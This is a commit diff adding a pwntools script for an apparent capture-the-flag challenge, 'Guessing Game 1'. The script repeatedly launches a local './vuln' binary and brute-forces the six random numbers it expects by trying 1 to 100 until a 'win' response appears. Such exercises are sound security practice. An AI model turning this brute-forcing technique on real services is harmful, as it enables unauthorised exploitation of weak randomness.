Guessing Game 1
This commit is contained in:
28
guessing_game_1/get_random_numbers.py
Executable file
28
guessing_game_1/get_random_numbers.py
Executable file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
n = 6
|
||||
values = []
|
||||
p = log.progress(f"bruteforcing {n} random numbers")
|
||||
while len(values) < n:
|
||||
for i in range(100):
|
||||
with context.quiet:
|
||||
conn = process("./vuln")
|
||||
conn.recvline()
|
||||
for v in values:
|
||||
conn.recvuntil(b"guess?")
|
||||
conn.sendline(str(v).encode())
|
||||
conn.sendline(b"0")
|
||||
p.status(f"i = {i:03}, {values}...")
|
||||
conn.recvuntil(b"guess?")
|
||||
conn.sendline(str(i+1).encode())
|
||||
conn.recvline()
|
||||
result = conn.recvline()
|
||||
with context.quiet:
|
||||
conn.close()
|
||||
if b"win" in result:
|
||||
values.append(i+1)
|
||||
break
|
||||
|
||||
p.success(f"values are {values}")
|
||||
|
||||
Reference in New Issue
Block a user